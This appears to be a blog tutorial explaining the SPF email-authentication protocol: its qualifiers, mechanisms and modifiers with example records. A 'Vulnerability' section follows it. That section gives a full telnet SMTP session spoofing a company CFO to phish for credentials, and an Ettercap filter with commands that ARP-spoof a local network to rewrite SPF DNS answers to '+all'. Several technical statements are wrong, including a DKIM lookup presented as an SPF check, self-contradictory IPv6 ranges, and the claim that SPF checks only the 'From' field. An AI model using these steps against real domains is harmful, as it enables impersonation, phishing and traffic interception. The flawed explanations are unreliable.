SPF Email Validation Protocol


SPF Email Validation Protocol

Introduction

Quick overview of  SPF email validation protocol (Examples, Vulnerabilities).

SPF (Sender Policy Framework) is here to hardens your DNS servers and restricts who can send emails with your domain name.

The Sender Framework Policy preovides a list of IP addresses that are authorized to send email on behalf of the domain. It’s specifying a technical method to prevent sender address forgery.  This IP/Domain list is stored in the DNS records of the domain TXT record. Email providers that have SPF will lookup DNS records of the domain from where the email is claiming to be. It will compare that info with the originating IP address/email. If checks match, email will pass. If they don’t, email might be marked as spam, or rejected. SPF only checks the “From” part of the email.

SPF Email Validation Protocol

 

Check domain SPF:

nslookup -type=txt <selector>._domainkey.<domain>

SPF Qualifiers (Actions)

We can use any mechanism with any of the four qualifiers:

  • + for a PASS : allow all mail. This can be omitted; e.g., +mx is the same as mx
  • ? for a NEUTRAL : all emails are accepted (e.g. ?all – no policy statement)
  • ~ (tilde) for SOFTFAIL : emails are accepted / shown for the user, but marked with a warning as suspicious/spam (e.g. ~all – Allow mail whether or not it matches the parameters)
  • – (minus) for HARDFAIL : all emails that are suspected to be forged or spam are rejected and not delivered (e.g. -all – allow only mail that matches one of the parameters)

SPF Mechanisms

>> all: Always matches. Usually set at the end.

  • "v=spf1 mx -all" : Allow domain’s MXes to send mail for the domain, prohibit all others
  • "v=spf1 -all" : The domain sends no mail at all.
  • "v=spf1 +all" : The domain owner thinks that SPF is useless and/or doesn’t care.

>> ipv4: An IPv4 network range.  The /32 is default if  there is no CIDR is set. For ipv6, argument to the ip6 mechanism is an IPv6 network range. If set without netmask, it defaults to /128.

  • "v=spf1 ip4:192.168.0.1/16 -all" : Allow any IP address between 192.168.0.1 and 192.168.255.255.
  • "v=spf1 ip6:1080::8:900:200C:417A/96 -all" : Enable any IPv6 address between 1080::8:900:0000:0000 and 1080::8:800:FFFF:FFFF.
  • "v=spf1 ip6:1080::8:900:68.0.3.1/96 -all" : Allow any IPv6 address between 1080::8:900:0000:0000 and 1080::8:800:FFFF:FFFF.

>> a: All A records from a domain are tested. If the client IP is found among them it’s match. For connections made over IPv6 an AAAA lookup is performed instead. If domain is not set,  current domain is used.

  • "v=spf1 a -all" : The current domain is used.
  • "v=spf1 a:example.com -all" : Equivalent if the current domain is example.com.
  • "v=spf1 a:mail.example.com -all" : Perhaps example.com has chosen to explicitly list all the outbound mailers in a special A record under mx.example.com.
  • "v=spf1 a/24 a:sub.example.com/24 -all" : If example.com resolves to 192.0.3.2, the entire class C of 192.0.3.0/24 would be searched for the client IP. Similarly for sub.example.com. If more than one A record were returned, each one would be expanded to a CIDR subnet.

>> mx: All of the A records for all the MX records for domain are tested in order of MX priority. If the client IP is found among them, it’s a match. If there is no domain, we’re using current domain. The A records have to match the client IP exactly, unless a sufix-length is provided, in which case each IP address returned by the A lookup will be expanded to its corresponding CIDR prefix, and the client IP will be searched within that subnet.

  • "v=spf1 mx mx:deferrals.domain.com -all" : Perhaps a domain sends mail through its MX servers plus another set of servers whose job is to retry mail for deferring domains.
  • "v=spf1 mx/24 mx:offsite.domain.com/24 -all" : Perhaps a domain’s MX servers receive mail on one IP address, but send mail on a different but nearby IP address.

>> ptr: The hostname or hostnames for the client IP are looked up using PTR queries. The hostnames are then validated: at least one of the A records for a PTR hostname must match the original client IP. Invalid hostnames are discarded. If a valid hostname ends in domain, this mechanism matches, otherwise we’re relying on current domain.

Avoid using this mechanism in your SPF record, because it will result in a larger number of expensive DNS lookups.
  • "v=spf1 ptr -all" : A domain which directly controls all its machines (unlike a dialup or broadband ISP) allows all its servers to send mail. For example, hotmail.com or paypal.com might do this.
  • "v=spf1 ptr:otherdomain.com -all" :  Any server whose hostname ends in otherdomain.com is designated.

>> exists: Perform an A query on the provided domain. If a result is found, it’s a match. It doesn’t matter what the lookup result is – it could be 127.0.0.2.

  • "v=spf1 exists:example.com -all" : If example.com does not resolve, the result is fail. If it does resolve, this mechanism results in a match.
>> include:  The specified domain is searched for a match. If the lookup does not return a match or an error, processing proceeds to the next directive.
Warning: If the domain does not have a valid SPF record, the result is a permanent error. Some mail receivers will reject based on a PermError.
In the following example, the client IP is 1.2.3.4 and the current domain is example.com.

"v=spf1 include:example.com -all"

If example.com has no SPF record, the result is PermError.
Suppose example.com’s SPF record were “v=spf1 a -all”.
Look up the A record for example.com. If it matches 1.2.3.4, return Pass.
If there is no match, other than the included domain’s “-all“, the include as a whole fails to match; the eventual result is still Fail from the outer directive set in this example.

SPF Modifiers

Modifiers are optional. A modifier may appear only once per record. Unknown modifiers are ignored
>> redirect: The SPF record for domain replace the current record. The macro-expanded domain is also substituted for the current domain n those look-ups.

Following example: The client IP is 1.2.3.4 and the current domain is example.com.

"v=spf1 redirect=example.com"

If there is no SPF record on example.com, that’s an error. The result is unknown.
For instance, if example.com’s SPF record was “v=spf1 a -all”.
Check A record for example.com and if it matches 1.2.3.4 return Pass.
If there is no match, the exec fails to match, and the -all value is used.
>> exp: (rarely used) If an SMTP receiver rejects a message, it can include an explanation. An SPF publisher can specify the explanation string that senders see. This way, an ISP can direct nonconforming users to a web page that provides further instructions about how to configure SASL. The domain is expanded; a TXT lookup is performed. The result of the TXT query is then macro-expanded and shown to the sender. Other macros can be used to provide an customized explanation.
Check more details on OpenSPF project.

Vulnerability (ByPass/Get Around SPF)

SPF email validation protocol alone isn’t actually very helpful for protecting your domain from abuse. The biggest problem is that SPF bases its authentication decisions on a message header field that most humans never see, the Return-Path. That makes it way too easy for hackers to create messages that look legitimate but are fraudulent (because they are using someone else’s domain in the From field).

Simple Example (Office 365)

Find a domain that has no SPF record or find the one that has “open” SPF.
# telnet <mail server> 25

EHLO domainX.com
250-ESMTP Server Ready
MAIL FROM: <evil@domainX.com>
250 +OK Sender OK
RCPT TO: <target_user@target_domain.com> SIZE=43251
250 +OK Recipient OK
DATA
354 Start mail input, end with '<CR><LF>.<CR><LF>'

FROM: "Jack the CFO" <jack@target_domain.com>
TO: "target_user" <user@target_domain.com>
SUBJECT Important request
Please send me your user credentials, I forgot mine. P.S. Don't tell anyone. Thanks
.
The first part (in red) is Mail envelope part. It’s there to “mislead” SPF (bypass verification test)
The second part (in green) is Mail header. It’s there to mislead the end recipient.
After it’s done with the require procedures for accepting the E-Mail message, the mail server removes the Mail envelope that includes information about the sender identity (stored in the MAIL FROM field). Before it’s removed, that value is moved/copied to RETURN-PATH field. That field is present in case message could not be delivered to recipient. In that case server will use that address to send NDR message back to the sender.
It’s not ideal. We didn’t provide user credentials, so the sender is identified as Anonymous. That can lead to sender information being displayed a bit differently on the email client of the recipient (hard to notice).

Ronald Reagan Attack (Gmail’s SPF bypass)

A new method used to bypass Gmail’s SPF check for spear-phishing. Hackers send from an external server, the user sees an internal user (your CEO for instance) and Gmail’s SPF check shows SPF-OK.

There are two fields in the email header that play a role here:

  1. X-Sender-Id: Field that Gmail uses in its SPF-check and that is used for spear phishing and impersonation analysis
  2. From: Field that is actually presented to the Gmail user
This email completely legitimate and passes it to the recipient with no warning. This shows up as an email from someone else, presumably someone in the organization that they know.
(1) X-Sender-Id : This is the real sender (spoofed). Most important part of the attack, well aligned with the server that sent the email.

(2) Reply To : This header field (FROM) is presented to the recipient, but the actual reply goes to email specified in “Return-Path” (previous example shows how this gets filled).  “Reply To” is also spoofed: uses the impersonated victim name in a domain that doesn’t exist

(3,4) Authentication-Results, Received-SPF and Arc-Authentication-Results: These are the fields that indicate the receiver’s (Gmail) calculated authenticity of the email. Note that in all tests, the email address from the X-Sender-ID is selected as the identity to test with (As indicated in the X-Auth-Id field) and that all tests pass successfully – the email is ‘authentic’

(5) Return-Path: This field is what the mail server would use if the end-user chooses to reply to sender. The “Reply to” filed user see is spoofed, and the reply will be correctly routed to the attacker via “Return-Path” field.

(6) From: The email address of the impersonated sender (Spoofed).

ARP Spoofing (Behind enemy lines)

Address Resolution Protocol (ARP) is a protocol for mapping an IP address to a physical machine address (MAC – Media Access Control) that is recognized in the local network. ARP table/cache is used to maintain a correlation between MAC (Layer 2 address) and corresponding IP address (Layer 3 address). Re-check network layers (OSI Model) if you’re not familiar with them. With ARP Spoofing we’re broadcasting fake ARP information. The goal is to force DNS traffic to go through our computer (as a gateway), so we can alter traffic that goes through.

With this achieved, we can now use some tool (for instance Ettercap) to modify DNS response to fit our needs: telling the receiving mail server that any IP can send emails for a targeted <DOMAIN> (SPF=+all), resulting in a VALID SPF check. With Ettercap we can specify a filter (modifying the traffic):

if (ip.proto==UDP &amp;amp;&amp;amp; udp.src==53 &amp;amp;&amp;amp; search(DATA.data, &quot;v=spf1 mx -all&quot;)) {
    replace(&quot;v=spf1 mx -all&quot;, &quot;v=spf1 mx +all&quot;);
    msg(&quot;Mail Server Opened!&quot;);
}

Compile it using Etterfilter:

etterfilter myfilter.filter –o myfilter.ef

set the attack in place with the Ettercap:

ettercap –TqM arp:remote –F myfilter.ef /192.168.1.10-15/ /192.168.1.33/

With message “Mail Server Opened!”, go ahead and try to send an email via Telnet.

Conclusion

That’s it for now on SPF email validation protocol (Examples, Vulnerabilities). We’ll update/expand article later as we continue to cover related subject. Remember, the fact that you advertise an SPF record in no way obliges anyone else to honour it. It is up to the admins of any given mail server what email they choose to accept. So, don’t panic if some admin complains that your domain is sending them spam and you have the SPF record. They’re probably not checking SPF records. World is overflowing with lamers.

Check “Telnet Email Address Validation” for some examples on MX communication/responses, or DKIM for further improvements.

To work on: